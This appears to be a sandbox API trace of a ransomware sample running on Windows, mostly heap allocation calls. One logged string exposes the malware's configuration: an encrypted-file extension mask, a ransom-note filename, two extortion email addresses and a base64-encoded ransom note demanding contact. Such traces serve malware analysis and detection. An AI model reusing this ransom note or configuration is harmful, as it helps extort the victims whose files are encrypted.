[0150.768] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fe58 [0150.768] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5b470, Size=0x3c) returned 0xa55c18 [0150.768] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa600d8 [0150.768] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55c18, Size=0x40) returned 0xa55ea0 [0150.768] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5ffb8 [0150.768] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55ea0, Size=0x44) returned 0xa55990 [0150.768] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5feb8 [0150.768] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x48) returned 0xa55990 [0150.768] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fed8 [0150.768] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x4c) returned 0xa55990 [0150.769] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fd38 [0150.769] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x50) returned 0xa55990 [0150.769] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5ff18 [0150.769] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x54) returned 0xa55990 [0150.769] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5ff38 [0150.769] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x58) returned 0xa55990 [0150.769] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5ff98 [0150.769] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x5c) returned 0xa55990 [0150.769] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57ed0 [0150.769] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x60) returned 0xa55990 [0150.769] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f1b0 [0150.769] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x64) returned 0xa4e948 [0150.769] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f2f0 [0150.769] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa4e948, Size=0x68) returned 0xa4e948 [0150.769] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f230 [0150.769] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa4e948, Size=0x6c) returned 0xa505e8 [0150.769] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f4b0 [0150.769] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa505e8, Size=0x70) returned 0xa505e8 [0150.769] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f3d0 [0150.769] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa505e8, Size=0x74) returned 0xa55658 [0150.769] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f310 [0150.769] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55658, Size=0x78) returned 0xa55658 [0150.769] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f150 [0150.769] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55658, Size=0x7c) returned 0xa55658 [0150.769] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f130 [0150.769] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55658, Size=0x80) returned 0xa55658 [0150.769] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f270 [0150.769] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55658, Size=0x84) returned 0xa55658 [0150.769] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f170 [0150.769] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55658, Size=0x88) returned 0xa55658 [0150.769] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f490 [0150.769] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55658, Size=0x8c) returned 0xa55658 [0150.769] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f450 [0150.769] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55658, Size=0x90) returned 0xa55658 [0150.769] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f330 [0150.769] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55658, Size=0x94) returned 0xa54fc0 [0150.770] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f190 [0150.770] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa54fc0, Size=0x98) returned 0xa54fc0 [0150.770] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f350 [0150.770] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa54fc0, Size=0x9c) returned 0xa54fc0 [0150.770] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f3b0 [0150.770] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa54fc0, Size=0xa0) returned 0xa54fc0 [0150.770] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f510 [0150.770] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa54fc0, Size=0xa4) returned 0xa55738 [0150.770] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f430 [0150.770] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55738, Size=0xa8) returned 0xa55738 [0150.770] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f370 [0150.770] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55738, Size=0xac) returned 0xa55738 [0150.770] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f470 [0150.770] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55738, Size=0xb0) returned 0xa55738 [0150.770] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f390 [0150.770] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55738, Size=0xb4) returned 0xa55848 [0150.770] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f210 [0150.770] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55848, Size=0xb8) returned 0xa55848 [0150.770] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f4d0 [0150.770] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55848, Size=0xbc) returned 0xa55848 [0150.770] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f290 [0150.770] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55848, Size=0xc0) returned 0xa55848 [0150.770] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f410 [0150.770] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55848, Size=0xc4) returned 0xa55848 [0150.770] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f3f0 [0150.770] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55848, Size=0xc8) returned 0xa55848 [0150.770] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f2b0 [0150.770] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55848, Size=0xcc) returned 0xa55848 [0150.770] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f4f0 [0150.770] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55848, Size=0xd0) returned 0xa55848 [0150.770] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f1d0 [0150.770] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55848, Size=0xd4) returned 0xa55848 [0150.770] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f1f0 [0150.770] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55848, Size=0xd8) returned 0xa55848 [0150.770] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f250 [0150.770] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55848, Size=0xdc) returned 0xa55848 [0150.770] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f2d0 [0150.771] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55848, Size=0xe0) returned 0xa55848 [0150.771] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f5b0 [0150.771] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55848, Size=0xe4) returned 0xa55848 [0150.771] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f770 [0150.771] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55848, Size=0xe8) returned 0xa55848 [0150.771] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f6f0 [0150.771] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55848, Size=0xec) returned 0xa55848 [0150.771] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f6d0 [0150.771] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55848, Size=0xf0) returned 0xa55848 [0150.771] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f790 [0150.771] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55848, Size=0xf4) returned 0xa54e48 [0150.771] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f550 [0150.771] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa54e48, Size=0xf8) returned 0xa54e48 [0150.771] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f610 [0150.771] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa54e48, Size=0xfc) returned 0xa54e48 [0150.771] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f830 [0150.771] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa54e48, Size=0x100) returned 0xa54e48 [0150.771] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f730 [0150.771] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa54e48, Size=0x104) returned 0xa54e48 [0150.771] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f850 [0150.771] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa54e48, Size=0x108) returned 0xa54e48 [0150.771] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f710 [0150.771] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa4b060, Size=0x20) returned 0xa4af98 [0150.771] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f7b0 [0150.771] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x4) returned 0xa5ab28 [0150.771] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f750 [0150.771] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5ab28, Size=0x8) returned 0xa5ab38 [0150.771] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f7d0 [0150.771] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5ab38, Size=0xc) returned 0xa55390 [0150.771] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f570 [0150.771] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55390, Size=0x10) returned 0xa55240 [0150.771] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f590 [0150.771] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55240, Size=0x14) returned 0xa5f7f0 [0150.771] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f810 [0150.771] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5f7f0, Size=0x18) returned 0xa5f870 [0150.772] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f7f0 [0150.772] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5f870, Size=0x1c) returned 0xa4af48 [0150.772] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f870 [0150.772] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa4af48, Size=0x20) returned 0xa4b060 [0150.772] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f890 [0150.772] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa4b060, Size=0x24) returned 0xa59090 [0150.772] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f8b0 [0150.772] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa59090, Size=0x28) returned 0xa58e20 [0150.772] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f5f0 [0150.772] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa58e20, Size=0x2c) returned 0xa605a0 [0150.772] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f8d0 [0150.772] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa605a0, Size=0x30) returned 0xa603a8 [0150.772] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f530 [0150.772] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa603a8, Size=0x34) returned 0xa5b8b0 [0150.772] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f6b0 [0150.772] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5b8b0, Size=0x38) returned 0xa5b830 [0150.772] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f5d0 [0150.772] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5b830, Size=0x3c) returned 0xa55d38 [0150.772] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f630 [0150.772] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55d38, Size=0x40) returned 0xa55ea0 [0150.772] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f650 [0150.772] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55ea0, Size=0x44) returned 0xa55990 [0150.772] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f670 [0150.772] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x48) returned 0xa55990 [0150.772] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f690 [0150.772] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x4c) returned 0xa55990 [0150.772] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa60300 [0150.772] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x50) returned 0xa55990 [0150.772] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa603e0 [0150.772] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x54) returned 0xa55990 [0150.772] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa602c0 [0150.772] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x58) returned 0xa55990 [0150.772] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa60200 [0150.772] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x5c) returned 0xa55990 [0150.772] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa60260 [0150.773] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x60) returned 0xa55990 [0150.773] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa60320 [0150.773] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x64) returned 0xa4e948 [0150.773] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa60500 [0150.773] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa4e948, Size=0x68) returned 0xa4e948 [0150.773] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa60520 [0150.773] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa4e948, Size=0x6c) returned 0xa505e8 [0150.773] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa604e0 [0150.773] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa505e8, Size=0x70) returned 0xa505e8 [0150.773] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa60140 [0150.773] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa505e8, Size=0x74) returned 0xa55658 [0150.773] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa602e0 [0150.773] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55658, Size=0x78) returned 0xa55658 [0150.773] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa60160 [0150.773] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55658, Size=0x7c) returned 0xa55658 [0150.773] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa60360 [0150.773] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55658, Size=0x80) returned 0xa55658 [0150.773] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa60280 [0150.773] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55658, Size=0x84) returned 0xa55658 [0150.773] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa60180 [0150.773] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55658, Size=0x88) returned 0xa55658 [0150.773] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa604c0 [0150.773] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55658, Size=0x8c) returned 0xa55658 [0150.773] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa601a0 [0150.773] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa4af98, Size=0x24) returned 0xa58df0 [0150.773] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa60220 [0150.773] strtol (in: _Str="0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x8ff838, _Radix=0 | out: _EndPtr=0x8ff838*=",\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 0 [0150.773] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa58df0, Size=0x28) returned 0xa58e50 [0150.773] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa601c0 [0150.773] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa58e50, Size=0x2c) returned 0xa60b08 [0150.774] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa60340 [0150.774] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa60b08, Size=0x30) returned 0xa60fa0 [0150.774] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa60380 [0150.774] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x4) returned 0xa5ac68 [0150.774] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa60480 [0150.774] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5ac68, Size=0x8) returned 0xa5ac08 [0150.774] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa601e0 [0150.774] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa60fa0, Size=0x34) returned 0xa5b8b0 [0150.774] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa60240 [0150.774] RtlFreeHeap (HeapHandle=0xa40000, Flags=0x0, BaseAddress=0xa5ab68) returned 1 [0150.774] RtlFreeHeap (HeapHandle=0xa40000, Flags=0x0, BaseAddress=0xa580b0) returned 1 [0150.774] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x34) returned 0xa5b570 [0150.774] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x44) returned 0xa55990 [0150.774] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0xc4) returned 0xa55848 [0150.774] RtlFreeHeap (HeapHandle=0xa40000, Flags=0x0, BaseAddress=0xa5acd8) returned 1 [0150.774] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2240d8, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\d0e7313858\\d0e7313858.exe" (normalized: "c:\\program files (x86)\\d0e7313858\\d0e7313858.exe")) returned 0x30 [0150.774] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x60) returned 0xa555a8 [0150.774] GetVersion () returned 0x23f00206 [0150.774] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0xa555b0 | out: Wow64Process=0xa555b0) returned 1 [0150.775] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x21) returned 0xa58e50 [0150.775] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x384) returned 0xa61120 [0150.776] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x0, nSize=0x8ff7f0 | out: lpBuffer=0x0, nSize=0x8ff7f0) returned 0 [0150.777] GetLastError () returned 0xea [0150.777] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x10) returned 0xa55468 [0150.777] GetComputerNameExW (in: NameType=0x0, lpBuffer=0xa55468, nSize=0x8ff7f0 | out: lpBuffer="NQDPDE", nSize=0x8ff7f0) returned 1 [0150.777] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0xf4) returned 